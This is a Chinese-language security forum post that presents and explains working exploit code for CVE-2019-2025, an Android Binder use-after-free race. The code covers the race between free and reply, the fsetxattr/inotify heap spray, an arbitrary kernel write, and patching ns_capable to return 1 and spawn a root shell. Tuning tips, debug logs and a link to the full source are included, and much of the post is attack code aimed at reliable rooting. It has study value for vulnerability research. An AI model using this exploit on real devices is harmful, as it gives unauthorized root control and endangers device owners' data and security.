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[原创] CVE-2019-2025(水滴) 漏洞利用

[原创] CVE-2019-2025(水滴) 漏洞利用

本文仅供学习交流,如作他用所承受的法律责任一概与作者无关


一、漏洞介绍

CVE-2019-2025(水滴漏洞)由c0re team提出,并在HITBSecConf2019分享了漏洞利用方法,遗憾的是由于没有exploit源码,对于学习此漏洞还是不够直接。本文将从exploit源码的角度来讲解此漏洞,在pixel手机上可实现99%概率成功root。同时也分享自己在写此漏洞的调试方式和解决各种问题的思路。


二、漏洞原理

关于原理我这里不再过多重述,请看“水滴”来袭:详解Binder内核通杀漏洞。简单说的两个线程会产生竞争关系。一个是client线程,一个是server线程。



图片1引用于《D2T2 - Binder - The Bridge to Root - Hongli Han & Mingjian Zhou》

client线程执行BC_FREE_BUFFER,代码如下:



图片2引用于《D2T2 - Binder - The Bridge to Root - Hongli Han & Mingjian Zhou》

server线程执行BC_REPLY,代码如下:


图片3引用于《D2T2 - Binder - The Bridge to Root - Hongli Han & Mingjian Zhou》


为什么要释放两次binder_buffer呢?


图片4引用于《D2T2 - Binder - The Bridge to Root - Hongli Han & Mingjian Zhou》

在前一个binder_buffer释放时,由于需要合并后一个binder_buffer,才会真正kfree后一个binder_buffer。


三、漏洞细节

1、Client线程如何才能执行BC_FREE_BUFFER,Server进程如何才能执行BC_REPLY(binder_alloc_new_buffer)。

class MediaPlayerBase : public MediaPlayer

{

	public:

		MediaPlayerBase() {};

		~MediaPlayerBase() {};

		sp<IMediaPlayer>	creatMediaPlayer() 

		{

			sp<IMediaPlayerService> service(getMediaPlayer());

		        sp<IMediaPlayer> player(service->create(this, getAudioSessionId()));

			return player;

		}

};

sp<IMediaPlayerService> getMediaPlayer()

{

	sp<IServiceManager> sm = defaultServiceManager();

	String16 name = String16("media.player"); 

	sp<IBinder> service = sm->checkService(name);

	sp<IMediaPlayerService> mediaService = interface_cast<IMediaPlayerService>(service);

	return mediaService;

}

void bc_free_buffer(int replyParcelIndex)

{

	replyArray[replyParcelIndex].~Parcel();

	IPCThreadState::self()->flushCommands();

}

void* bc_transaction(void *arg)

{

	.....

	dataBCArray[global_parcel_index].writeInterfaceToken(String16("android.media.IMediaPlayer"));

        IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataBCArray[global_parcel_index], &replyBCArray[global_parcel_index], 0);

	.....

	return arg;

}

MediaPlayerBase* mediaPlayerBase = new MediaPlayerBase();

mediaPlayer = mediaPlayerBase->creatMediaPlayer();

此部分理解起来不难,由于使用了很多framework层的api,所以需要在android源码环境下编译。


2、我们刚刚说的执行BC_FREE_BUFFER,是需要提前分配binder_buffer,也就是分配后才能释放;这步叫放置诱饵。

void put_baits()

{

	//Avoid the reply data to be released by "~Parcel()"

	for (int i = 0; i < BAIT; i++)

	{

		dataArray[i].writeInterfaceToken(String16("android.media.IMediaPlayer"));

		IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataArray[i], &replyArray[i], 0);

		gDataArray[i] = replyArray[i].data();

		/*for (int j = 0; j < (int)replyArray[i].dataSize(); j++)

		{

			printf("[+] gDataArray[%d][%d], data:%x\n", i, j, gDataArray[i][j]);

		}*/

		//printf("index:%d, user_addr:%p\n", i, gDataArray[i]);

	}

}


3、竞争

void bc_free_buffer(int replyParcelIndex)

{

	replyArray[replyParcelIndex].~Parcel();

	IPCThreadState::self()->flushCommands();

}

void* bc_transaction(void *arg)

{

	pthread_mutex_lock(&alloc_mutex);

	while(1) 

	{

		pthread_cond_wait(&alloc_cond, &alloc_mutex);

		dataBCArray[global_parcel_index].writeInterfaceToken(String16("android.media.IMediaPlayer"));

                IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataBCArray[global_parcel_index], &replyBCArray[global_parcel_index], 0);

	}

	pthread_mutex_unlock(&alloc_mutex);

    	//const uint8_t * replyData = reply.data();

	return arg;

}

void raceWin(int replyParcelIndex)

{

	pthread_mutex_lock(&alloc_mutex);

	bc_free_buffer(replyParcelIndex);

	global_parcel_index = replyParcelIndex;

	pthread_cond_signal(&alloc_cond);

	pthread_mutex_unlock(&alloc_mutex);

	usleep(450);

	bc_free_buffer(replyParcelIndex);

	bc_free_buffer(replyParcelIndex - 1);

} 

void raceTimes()

{

	for(int i = BAIT - 1; i > 0; i--)

	{

		raceWin(i);

	}

}

起了两个线程,线程1执行BC_FREE_BUFFER,线程2会通过binder请求mediaserver进程执行BC_REPLY(binder_alloc_new_buffer)。线程1通过条件变量来唤醒线程2。

//线程1

usleep(450);

bc_free_buffer(replyParcelIndex);

bc_free_buffer(replyParcelIndex - 1); 

//线程2

dataBCArray[global_parcel_index].writeInterfaceToken(String16("android.media.IMediaPlayer"));

                IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataBCArray[global_parcel_index], &replyBCArray[global_parcel_index], 0);

线程1和线程2同步执行这两个操作,形成竞争。为什么usleep(450),这个因为线程2通过binder进程间通信,让mediaserver执行BC_REPLY需要一段时间,根据自己的机器情况调整这个值。总之目的是让Client进程(BC_FREE_BUFFER)和Server进程(BC_REPLY)形成竞争。可以看下图1中所示BC_FREE_BUFFER和BC_REPLY的位置,有助于理解这块。这里所说的Server进程就是mediaserver进程。


4、堆喷

void heapGuard()

{

	fsetxattr(fd_guard_heap, "user.g", guardBuffer, 1000, 0);

}

void heap_spray()

{

	char buff[BUFF_SIZE];

	memset(buff, 0 ,BUFF_SIZE);

	*(size_t *)((char *)buff + 64) = 20;

	*(size_t *)((char *)buff + 88) = 0xffffffc001e50834;

	fsetxattr(fd_heap_spray, "user.x", buff, BUFF_SIZE, 0);

}

void heap_spray_times()

{

	for (int i = 0; i < HEAP_SPRAY_TIME; i++)

	{

		heap_spray();

		heapGuard();

	}

}

void raceWin(int replyParcelIndex)

{

	pthread_mutex_lock(&alloc_mutex);

	bc_free_buffer(replyParcelIndex);

	global_parcel_index = replyParcelIndex;

	pthread_cond_signal(&alloc_cond);

	pthread_mutex_unlock(&alloc_mutex);

	usleep(450);

	bc_free_buffer(replyParcelIndex);

	bc_free_buffer(replyParcelIndex - 1);

	heap_spray_times();

	...

} 

释放binder_buffer后堆喷,使用fsetxattr占用binder_buffer的data_size和data。

struct binder_buffer {

        struct list_head entry; /* free and allocated entries by address */

        struct rb_node rb_node; /* free entry by size or allocated entry */

                                /* by address */

        unsigned free:1;

        unsigned allow_user_free:1;

        unsigned async_transaction:1;

        unsigned free_in_progress:1;

        unsigned debug_id:28;

        struct binder_transaction *transaction;

        struct binder_node *target_node;

        size_t data_size;

        size_t offsets_size;

        size_t extra_buffers_size;

        void *data;

};

因为要实现任意地址写,binder_buffer的data偏移为88,要修改为要写的任意地址,见heap_spray函数。

        t->buffer = binder_alloc_new_buf(&target_proc->alloc, tr->data_size,

                tr->offsets_size, extra_buffers_size,

                !reply && (t->flags & TF_ONE_WAY)); //分配内存

        if (IS_ERR(t->buffer)) {  //竞争窗口期

                /*

                 * -ESRCH indicates VMA cleared. The target is dying.

                 */

                return_error_param = PTR_ERR(t->buffer);

                return_error = return_error_param == -ESRCH ?

                        BR_DEAD_REPLY : BR_FAILED_REPLY;

                return_error_line = __LINE__;

                t->buffer = NULL;

                goto err_binder_alloc_buf_failed;

        }

        t->buffer->allow_user_free = 0;//t->buffer已经被释放并重新堆喷占位了

        t->buffer->debug_id = t->debug_id;

        t->buffer->transaction = t;

        t->buffer->target_node = target_node;

        trace_binder_transaction_alloc_buf(t->buffer);

        off_start = (binder_size_t *)(t->buffer->data +

                                      ALIGN(tr->data_size, sizeof(void *)));

        offp = off_start;

        if (copy_from_user(t->buffer->data, (const void __user *)(uintptr_t)   //修改t->buffer->data为目标地址

                           tr->data.ptr.buffer, tr->data_size))


5、什么地址修改为什么内容呢?

参考内核镜像攻击,[原创] CVE-2017-7533 漏洞利用,0xffffffc001e50840需要被写入0x80000e71。看上面copy_from_user,t->buffer->data被占位为0xffffffc001e50834,源数据和size是tr->data.ptr.buffer和tr->data_size,那么怎么填充源数据和size呢?

status_t init_reply_data()

{

	setDataSource();

	AudioPlaybackRate rate;

	rate.mSpeed = 1;

	rate.mPitch = 1;

	rate.mStretchMode = (AudioTimestretchStretchMode)0;

	rate.mFallbackMode = (AudioTimestretchFallbackMode)0x80000e71;

        return mediaPlayer->setPlaybackSettings(rate);

}

具体是如何设置上的呢?读者可以对着binder进程间通信的流程来尝试理解。

此时目的地址设置为0xffffffc001e50834,源数据为0x80000e71,由于rate.mSpeed,rate.mPitch,rate.mStretchMode会占用12个字节,所以执行完copy_from_user后,0xffffffc001e50840地址被填充0x80000e71。此时可以在用户态任意地址读写了。


6、提权

void kernel_patch_ns_capable(unsigned long * addr) {

        unsigned int *p = (unsigned int *)addr;

        p[0] = 0xD2800020;//MOV x0,#1

        p[1] = 0xD65F03C0;//RET

}

unsigned long ns_capable_addr  = 0xffffffc0000b1024 - 0xffffffc000000000 + 0xffffffc200000000;

        kernel_patch_ns_capable((unsigned long *) ns_capable_addr);

	if(setreuid(0, 0) || setregid(0, 0)){

       		printf("[-] setgid failed\n");

		return -1;

        }

	if (getuid() == 0)

        {

                printf("[+] spawn a root shell\n");

                execl("/system/bin/sh", "/system/bin/sh", NULL);

        }

直接patch ns_capable函数,让他返回1,之后就可以成功调用setreuid和setregid了,提权成功。关于ns_capable_addr地址的计算请参考[原创] CVE-2017-7533 漏洞利用。


四、漏洞优化和漏洞调试

1、为了使client和server进程更容易产生竞争。需要使两者运行在同一个cpu上。由于无法sched_setaffinity mediaserver进程的cpuid,我们使用的方法是每个cpu(4核让其中3核忙碌起来)起8个线程,并死循环耗尽cpu。

void* fillCpu(void *arg)

{

        int index = *(int *)arg;

	cpu_set_t mask;

    	CPU_ZERO(&mask);

    	CPU_SET(index, &mask);

	pid_t pid = gettid();

	syscall(__NR_sched_setaffinity, pid, sizeof(mask), &mask);

	//printf("[+] cpu:%d, tid:%d, freeze\n", index, pid);

	while (!fillFlag)

	{

		index++;

	}

        return arg;

}

void fillOtherCpu()

{

	int cores = getCores();

	printf("[+] cpu count:%d\n", cores);

	pthread_t id_cpu1, id1_cpu1, id2_cpu1, id3_cpu1, id4_cpu1, id5_cpu1, id6_cpu1, id7_cpu1;

	pthread_t id_cpu2, id1_cpu2, id2_cpu2, id3_cpu2, id4_cpu2, id5_cpu2, id6_cpu2, id7_cpu2;

	pthread_t id_cpu3, id1_cpu3, id2_cpu3, id3_cpu3, id4_cpu3, id5_cpu3, id6_cpu3, id7_cpu3;

	int cpu1 = 0;

	int cpu2 = 2;

	int cpu3 = 3;

	pthread_create(&id_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id1_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id2_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id3_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id4_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id5_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id6_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id7_cpu1, NULL, fillCpu, &cpu1);

	pthread_create(&id_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id1_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id2_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id3_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id4_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id5_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id6_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id7_cpu2, NULL, fillCpu, &cpu2);

	pthread_create(&id_cpu3, NULL, fillCpu, &cpu3);

	pthread_create(&id1_cpu3, NULL, fillCpu, &cpu3);

	pthread_create(&id2_cpu3, NULL, fillCpu, &cpu3);

	pthread_create(&id3_cpu3, NULL, fillCpu, &cpu3);

	pthread_create(&id4_cpu3, NULL, fillCpu, &cpu3);

	pthread_create(&id5_cpu3, NULL, fillCpu, &cpu3);

	pthread_create(&id6_cpu3, NULL, fillCpu, &cpu3);

	pthread_create(&id7_cpu3, NULL, fillCpu, &cpu3);

	sleep(10);//让线程充分耗尽CPU

}


2、fsetxattr堆喷后会立刻释放内存。

static long

setxattr(struct dentry *d, const char __user *name, const void __user *value,

	 size_t size, int flags)

{

	int error;

	void *kvalue = NULL;

	void *vvalue = NULL;	/* If non-NULL, we used vmalloc() */

	char kname[XATTR_NAME_MAX + 1];

	if (flags & ~(XATTR_CREATE|XATTR_REPLACE))

		return -EINVAL;

	error = strncpy_from_user(kname, name, sizeof(kname));

	if (error == 0 || error == sizeof(kname))

		error = -ERANGE;

	if (error < 0)

		return error;

	if (size) {

		if (size > XATTR_SIZE_MAX)

			return -E2BIG;

		kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);//申请内存

		if (!kvalue) {

			vvalue = vmalloc(size);

			if (!vvalue)

				return -ENOMEM;

			kvalue = vvalue;

		}

		if (copy_from_user(kvalue, value, size)) {

			error = -EFAULT;

			goto out;

		}

		if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||

		    (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))

			posix_acl_fix_xattr_from_user(kvalue, size);

	}

	error = vfs_setxattr(d, kname, kvalue, size, flags);

out:

	if (vvalue)

		vfree(vvalue);

	else

		kfree(kvalue);//释放内存

	return error;

}

如果仅仅循环调用fsetxattr,你会发现自己的堆喷地址总是一样的,因为分配出来就被立刻free了。所以采用一个申请后并不会马上释放的结构体来占住刚刚被free的内存。我们使用的结构体是inotify_event_info。


图片5引用于《D2T2 - Binder - The Bridge to Root - Hongli Han & Mingjian Zhou》

void heapGuard()

{

	fsetxattr(fd_guard_heap, "user.g", guardBuffer, 1000, 0);

}

fsetxattr由于改变了文件的扩展属性,会触发文件监控,调用到inotify_handle_event,调用kmalloc分配event。

由于fsetxattr调用kmalloc分配的kvalue大小是96个字节,inotify_handle_event调用kmalloc分配的event大小这里设定为65个字节(文件名为fffdfffdfffdfffd),目的是占位刚刚被setxattr释放的内存,且分配的event不会被立刻释放,也就保护了kvalue的内容。

此时如果再次调用fsetxattr(之前已经调用了一次fsetxattr和inotify_handle_event)分配内存kvalue,由于刚刚被释放掉的kvalue已经被event占用了,此时会分配新的空间,这样就为堆喷占位提供了条件。这里注意要巧妙设置event的长度,不要破坏fsetxattr分配kvalue的64和88偏移,因为这里保存的信息,在copy_from_user时会用到。


图片6引用于《D2T2 - Binder - The Bridge to Root - Hongli Han & Mingjian Zhou》

途中Sate area就是fsetxattr分配kvalue的64和88偏移的内容,此部分内容不要被破坏哦。


3、设置client进程优先级大于server进程优先级,目的是让client进程抢占server进程。

int main()

{

	createAllocThread();

	nice(-20);

	MediaPlayerBase* mediaPlayerBase = new MediaPlayerBase();

	mediaPlayer = mediaPlayerBase->creatMediaPlayer();

        .....

}

是在启动了分配线程后,才设置的优先级,这是因为分配线程的优先级会影响server进程的优先级。


4、堆喷保护细节

void begin_watch()

{

        watch_fd = inotify_init1(IN_NONBLOCK);

        if (watch_fd == -1) {

                printf("[-] inotify_init1 failed\n");

                return;

        }

        watch_wd = inotify_add_watch(watch_fd, "test_dir",

                                 IN_ALL_EVENTS);

        if (watch_wd == -1) {

                printf("[-] Cannot watch\n");

                return;

        }

}

void stop_watch()

{

	inotify_rm_watch(watch_fd, watch_wd);

	if (watch_fd != 1)

	{

		close(watch_fd);

	}

}

void restartWatch()

{

	if (global_parcel_index % 200 == 0)

	{

		stop_watch();

		usleep(100);

		begin_watch();

		usleep(100);

	}

}

void raceWin(int replyParcelIndex)

{

	pthread_mutex_lock(&alloc_mutex);

	bc_free_buffer(replyParcelIndex);

	global_parcel_index = replyParcelIndex;

	pthread_cond_signal(&alloc_cond);

	pthread_mutex_unlock(&alloc_mutex);

	usleep(450);

	bc_free_buffer(replyParcelIndex);

	bc_free_buffer(replyParcelIndex - 1);

	heap_spray_times();

	restartWatch();

} 

我们可以看到每隔200次循环,就要重新启动一次监控,这是为什么?

int fsnotify_add_event(struct fsnotify_group *group,

		       struct fsnotify_event *event,

		       int (*merge)(struct list_head *,

				    struct fsnotify_event *))

{

	int ret = 0;

	struct list_head *list = &group->notification_list;

	pr_debug("%s: group=%p event=%p\n", __func__, group, event);

	mutex_lock(&group->notification_mutex);

	if (group->q_len >= group->max_events) { //超过一定数量,分配event后会被立刻free掉。

		ret = 2;

		/* Queue overflow event only if it isn't already queued */

		if (!list_empty(&group->overflow_event->list)) {

			mutex_unlock(&group->notification_mutex);

			return ret;

		}

		event = group->overflow_event;

		goto queue;

	}

       ...

}

因为超过一定数量,分配event后会被立刻free掉,这显然是不符合我们的预期,且会造成crash;可能由于释放的地址,没有被成功占位,被其他线程占据后值被清0,这样就导致t->buffer->data为0,进而crash。

重新开启监控首先会释放原有分配的所有event,再分配的event不会超过限额。


5、漏洞调试

如果没有printk,我们怎么知道是否竞争成功呢,是否堆喷占位正确呢?所以需要在对应的代码上加上printk。

//drivers/staging/android/binder_alloc.c

struct binder_buffer *binder_alloc_prepare_to_free(struct binder_alloc *alloc,

                                                   uintptr_t user_ptr)

{

        struct binder_buffer *buffer;

        printk(KERN_INFO "jltxgcy binder free begin, pid:%d, user addr:%016llx\n", alloc->pid, (u64)user_ptr);

        mutex_lock(&alloc->mutex);

        buffer = binder_alloc_prepare_to_free_locked(alloc, user_ptr);

        mutex_unlock(&alloc->mutex);

        printk(KERN_INFO "jltxgcy binder free end, pid:%d, buffer:%p\n", alloc->pid, buffer);

        return buffer;

}

struct binder_buffer *binder_alloc_new_buf(struct binder_alloc *alloc,

                                           size_t data_size,

                                           size_t offsets_size,

                                           size_t extra_buffers_size,

                                           int is_async)

{

        struct binder_buffer *buffer;

        mutex_lock(&alloc->mutex);

        printk(KERN_INFO "jltxgcy binder alloc begin, target pid:%d\n", alloc->pid);

        buffer = binder_alloc_new_buf_locked(alloc, data_size, offsets_size,

                                             extra_buffers_size, is_async);

        printk(KERN_INFO "jltxgcy binder alloc end, target pid:%d, buffer:%p, buffer user data:%lx\n", alloc->pid, buffer, (uintptr_t)buffer->data + binder_alloc_get_user_buffer_offset(alloc));

        mutex_unlock(&alloc->mutex);

        return buffer;

}

static void binder_delete_free_buffer(struct binder_alloc *alloc,

				      struct binder_buffer *buffer)

{

	struct binder_buffer *prev, *next = NULL;

	bool to_free = true;

	BUG_ON(alloc->buffers.next == &buffer->entry);

	prev = binder_buffer_prev(buffer);

	BUG_ON(!prev->free);

	if (prev_buffer_end_page(prev) == buffer_start_page(buffer)) {

		to_free = false;

		binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,

				   "%d: merge free, buffer %pK share page with %pK\n",

				   alloc->pid, buffer->data, prev->data);

	}

	if (!list_is_last(&buffer->entry, &alloc->buffers)) {

		next = binder_buffer_next(buffer);

		if (buffer_start_page(next) == buffer_start_page(buffer)) {

			to_free = false;

			binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,

					   "%d: merge free, buffer %pK share page with %pK\n",

					   alloc->pid,

					   buffer->data,

					   next->data);

		}

	}

	if (PAGE_ALIGNED(buffer->data)) {

		binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,

				   "%d: merge free, buffer start %pK is page aligned\n",

				   alloc->pid, buffer->data);

		to_free = false;

	}

	if (to_free) {

		binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,

				   "%d: merge free, buffer %pK do not share page with %pK or %pK\n",

				   alloc->pid, buffer->data,

				   prev->data, next->data);

		binder_update_page_range(alloc, 0, buffer_start_page(buffer),

					 buffer_start_page(buffer) + PAGE_SIZE);

	}

	list_del(&buffer->entry);

	kfree(buffer);

	printk(KERN_INFO "jltxgcy pid:%d, kfree:%p, cpuid:%d\n", alloc->pid, buffer, smp_processor_id());

}

//drivers/staging/android/binder.c

static void binder_transaction(struct binder_proc *proc,

			       struct binder_thread *thread,

			       struct binder_transaction_data *tr, int reply,

			       binder_size_t extra_buffers_size) {

	t->buffer = binder_alloc_new_buf(&target_proc->alloc, tr->data_size,

		tr->offsets_size, extra_buffers_size,

		!reply && (t->flags & TF_ONE_WAY));

	if (IS_ERR(t->buffer)) {

		/*

		 * -ESRCH indicates VMA cleared. The target is dying.

		 */

		return_error_param = PTR_ERR(t->buffer);

		return_error = return_error_param == -ESRCH ?

			BR_DEAD_REPLY : BR_FAILED_REPLY;

		return_error_line = __LINE__;

		t->buffer = NULL;

		goto err_binder_alloc_buf_failed;

	}

	t->buffer->allow_user_free = 0;

	t->buffer->debug_id = t->debug_id;

	t->buffer->transaction = t;

	t->buffer->target_node = target_node;

	trace_binder_transaction_alloc_buf(t->buffer);

	off_start = (binder_size_t *)(t->buffer->data +

				      ALIGN(tr->data_size, sizeof(void *)));

	offp = off_start;

	printk(KERN_INFO "jltxgcy binder ocuppy end, target pid:%d, buffer:%p, free:%d, user_allow_free:%d, buffer data:%p, buffer user data:%lx, cupid:%d\n", target_proc->pid, t->buffer, t->buffer->free, t->buffer->allow_user_free, t->buffer->data, (uintptr_t)t->buffer->data + binder_alloc_get_user_buffer_offset(&target_proc->alloc), smp_processor_id());

	if (copy_from_user(t->buffer->data, (const void __user *)(uintptr_t)

			   tr->data.ptr.buffer, tr->data_size)) {

		binder_user_error("%d:%d got transaction with invalid data ptr\n",

				proc->pid, thread->pid);

		return_error = BR_FAILED_REPLY;

		return_error_param = -EFAULT;

		return_error_line = __LINE__;

		goto err_copy_data_failed;

	}

        ....

}

//fs/xattr.c

static long

setxattr(struct dentry *d, const char __user *name, const void __user *value,

	 size_t size, int flags)

{

	int error;

	void *kvalue = NULL;

	void *vvalue = NULL;	/* If non-NULL, we used vmalloc() */

	char kname[XATTR_NAME_MAX + 1];

	if (flags & ~(XATTR_CREATE|XATTR_REPLACE))

		return -EINVAL;

	error = strncpy_from_user(kname, name, sizeof(kname));

	if (error == 0 || error == sizeof(kname))

		error = -ERANGE;

	if (error < 0)

		return error;

	if (size) {

		if (size > XATTR_SIZE_MAX)

			return -E2BIG;

		kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);

		printk(KERN_INFO "jltxgcy pid:%d, kvalue:%p, size:%ld\n", current->pid, kvalue, size);

		if (!kvalue) {

			vvalue = vmalloc(size);

			if (!vvalue)

				return -ENOMEM;

			kvalue = vvalue;

		}

		if (copy_from_user(kvalue, value, size)) {

			error = -EFAULT;

			goto out;

		}

		if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||

		    (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))

			posix_acl_fix_xattr_from_user(kvalue, size);

	}

	error = vfs_setxattr(d, kname, kvalue, size, flags);

out:

	if (vvalue)

		vfree(vvalue);

	else

		kfree(kvalue);

	return error;

}

//fs/notify/inotify/inotify_fsnotify.c

int inotify_handle_event(struct fsnotify_group *group,

			 struct inode *inode,

			 struct fsnotify_mark *inode_mark,

			 struct fsnotify_mark *vfsmount_mark,

			 u32 mask, void *data, int data_type,

			 const unsigned char *file_name, u32 cookie)

{

	struct inotify_inode_mark *i_mark;

	struct inotify_event_info *event;

	struct fsnotify_event *fsn_event;

	int ret;

	int len = 0;

	int alloc_len = sizeof(struct inotify_event_info);

	BUG_ON(vfsmount_mark);

	if ((inode_mark->mask & FS_EXCL_UNLINK) &&

	    (data_type == FSNOTIFY_EVENT_PATH)) {

		struct path *path = data;

		if (d_unlinked(path->dentry))

			return 0;

	}

	if (file_name) {

		len = strlen(file_name);

		alloc_len += len + 1;

	}

	pr_debug("%s: group=%p inode=%p mask=%x\n", __func__, group, inode,

		 mask);

	i_mark = container_of(inode_mark, struct inotify_inode_mark,

			      fsn_mark);

	event = kmalloc(alloc_len, GFP_KERNEL);

	printk(KERN_INFO "jltxgcy pid:%d, event:%p, alloc_len:%d\n", current->pid, event, alloc_len);

	if (unlikely(!event))

		return -ENOMEM;

	fsn_event = &event->fse;

	fsnotify_init_event(fsn_event, inode, mask);

	event->wd = i_mark->wd;

	event->sync_cookie = cookie;

	event->name_len = len;

	if (len)

		strcpy(event->name, file_name);

	ret = fsnotify_add_event(group, fsn_event, inotify_merge);

	if (ret) {

		/* Our event wasn't used in the end. Free it. */

		fsnotify_destroy_event(group, fsn_event);

	}

	if (inode_mark->mask & IN_ONESHOT)

		fsnotify_destroy_mark(inode_mark, group);

	return 0;

}

如果堆喷占位成功,日志应该是这样的:

[   53.486434] c1   2536 jltxgcy binder alloc begin, target pid:2522

[   53.486488] c1   2522 jltxgcy binder free begin, pid:2522, user addr:0000007dd3b3c8f0

[   53.486523] c1   2536 jltxgcy binder alloc end, target pid:2522, buffer:ffffffc06ef79400, buffer user data:7dd3b3c8f0

[   53.486543] c1   2522 jltxgcy binder free end, pid:2522, buffer:ffffffc06ef79400

[   53.486554] c1   2522 jltxgcy pid:2522, kfree:ffffffc0be588280, cpuid:1

[   53.486570] c1   2522 jltxgcy binder free begin, pid:2522, user addr:0000007dd3b3c8d8

[   53.486577] c1   2522 jltxgcy binder free end, pid:2522, buffer:ffffffc06ef79280

[   53.486585] c1   2522 jltxgcy pid:2522, kfree:ffffffc06ef79400, cpuid:1

[   53.486604] c1   2522 jltxgcy pid:2522, kvalue:ffffffc0be588280, size:96

[   53.486746] c1   2522 jltxgcy pid:2522, event:ffffffc0be588300, alloc_len:54

[   53.486763] c1   2522 jltxgcy pid:2522, kvalue:ffffffc0c42bf400, size:1000

[   53.486795] c1   2522 jltxgcy pid:2522, event:ffffffc0be588280, alloc_len:65

.............占位kfree:ffffffc06ef79400成功 省略了

jltxgcy binder ocuppy end, target pid:2522, buffer:ffffffc06ef79400, free:0, user_allow_free:0, buffer data:ffffffc001e50834, buffer user data:7dd3b3c8f0, cupid:1

我们可以看到alloc begin是打的位置是在mutex_lock(&alloc->mutex)锁里面,而free begin是在mutex_lock(&alloc->mutex)锁外面,所以执行流程是server alloc_begin进入锁,此时client free_begin申请锁睡眠等待,然后server alloc_end释放锁,同时唤醒client 获取锁执行free end。之所以让client和server占用一个cpu,也是因为这里的等待唤醒机制,在狭窄窗口到来时唤醒client进程,形成竞争。

之后我们再释放前一个binder_buffer时,会kfree当前binder_buffer,kfree:ffffffc06ef79400,然后堆喷占位成功,最后一条日志,可以看到binder_data已经被赋值为目标地址fffffc001e50834。


6、再次理解堆喷占位

[   53.486604] c1   2522 jltxgcy pid:2522, kvalue:ffffffc0be588280, size:96        //占位1

[   53.486746] c1   2522 jltxgcy pid:2522, event:ffffffc0be588300, alloc_len:54  //占位2

[   53.486763] c1   2522 jltxgcy pid:2522, kvalue:ffffffc0c42bf400, size:1000     //占位3

[   53.486795] c1   2522 jltxgcy pid:2522, event:ffffffc0be588280, alloc_len:65  //占位4

由于我们调用了两次fsetxattr,所以会形成如上的日志。

我们的目标是占位4,覆盖占位1。所以我精心设计了占位2,占位3的大小,以避免占位2和占位3把占位1给覆盖了。


7、heapGuard为什么不用open函数,常规触发inotify_handle_event,是使用open的。实际上我最开始使用的open,但是发现占位2总是覆盖不上占位1,最后发现open函数调用连上error = security_file_alloc(f);这个函数把占位1的位置给覆盖了,所以后来选用了setxattr函数。


8、占位2的大小实际上是精心设计的,否则会crash。

在binder_transaction,copy_from_user后会有一个检查,BUG_ON(t->buffer->async_transaction != 0);如果t->buffer->async_transaction不等于0,会crash。



图片7引用于《D2T2 - Binder - The Bridge to Root - Hongli Han & Mingjian Zhou》

从上图可以看到async_transaction正是name_len的值,所以这个我设置为8,async_transaction为0,这也就是abcd.txt(长度为8)的来源。

void init_fd_heap_spray()

{

	const char * path = "/data/local/tmp/test_dir/abcd.txt";

        fd_heap_spray = open(path, O_WRONLY);

	if (fd_heap_spray < 0)

	{

		printf("[-] fd_heap_spray failed\n");

	}

}


五、老规矩上图

[图片:93_K4XHDHZXFFHSW7A.jpg]


六、致谢

感谢@牛maomao,关于漏洞利用细节给了很多建设性的意见,也让我深刻感到自己和大牛之间的差距。


七、源码地址:https://github.com/jltxgcy/CVE_2019_2025_EXP

参考

[1] https://conference.hitb.org/hitbsecconf2019ams/materials/D2T2%20-%20Binder%20-%20The%20Bridge%20to%20Root%20-%20Hongli%20Han%20&%20Mingjian%20Zhou.pdf
[2] http://blogs.360.cn/post/Binder_Kernel_Vul_CH.html
[3][原创](Android Root)CVE-2017-7533 漏洞分析和复现 https://bbs.pediy.com/thread-248481.htm
[4][分享] KSMA -- Android 通用 Root 技术 https://bbs.pediy.com/thread-248444.htm


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